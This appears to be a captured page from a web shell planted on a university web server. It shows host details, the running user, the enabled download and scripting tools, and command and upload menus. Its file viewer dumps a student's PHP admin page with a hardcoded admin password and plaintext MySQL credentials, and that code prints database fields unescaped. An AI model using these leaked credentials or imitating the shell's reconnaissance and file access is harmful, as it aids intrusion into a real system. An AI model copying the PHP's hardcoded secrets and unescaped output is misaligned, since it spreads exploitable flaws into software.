Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.138.69.101
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/belampton/../clang/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/belampton/../clang/www/AdminPage.php
<?php   session_start();

/*      AdminPage.php

        Author: Casey Lang
        Instructor: Dr. Wang
        Due: April 17, 2022
        Goal: Create an admin page that lets user remove entries from table and find average for a course.
*/

$pass = $_POST['pass'];
if($pass != "")
        $_SESSION['psw'] = $pass;
else
        $pass = $_SESSION['psw'];




        if($pass != "Admin")
                print "go away.";
        else
        {
?>


<CENTER>
<h2>
Admin Page
</h2>
<hr>
<Form action=AdminResults.php method=post>
<H2>Select Rows to Remove</H2>
<HR>
<?php
        $host = 'localhost';
        $user = 'clang';
        $passwd = 'CS389';
        $database = 'clang';
        $connect = mysqli_connect($host, $user, $passwd);
        $query = "select * from EVALUATION";
        mysqli_select_db($connect, $database);
        $result_id = mysqli_query($connect, $query);
        if($result_id)
        {
		$i = 0;
                print '<table border=1>';
                print '<TH> REMOVE <TH>  ID <TH> GENDER <TH> STATUS <TH> COURSE <TH> ENJOYMENT <TH> USEFULNESS <TH> WORKLOAD';
                while($row = mysqli_fetch_row($result_id))
                {	$i++;
			print '<TR>';
			print "<TD> <INPUT TYPE=radio name=remove value=$i> </TD>";
                        foreach ($row as $field)
                                print "<TD> $field </TD> ";
                        print '</TR>';
                }
                print '</table>';
}
?>
<HR>
<input type=submit value=Submit>
<input type=reset value=Reset><HR>
</FORM>
<H2>
-OR-
</H2>
<HR>
<Form action=AdminAVG.php method=post>
<H2>Enter Course to Average</H2>
<HR>
<INPUT TYPE=text name=course>


<input type=submit value=Submit>
<input type=reset value=Reset><HR>
</FORM>
<?PHP
}
?>

Stv3n404 - 2023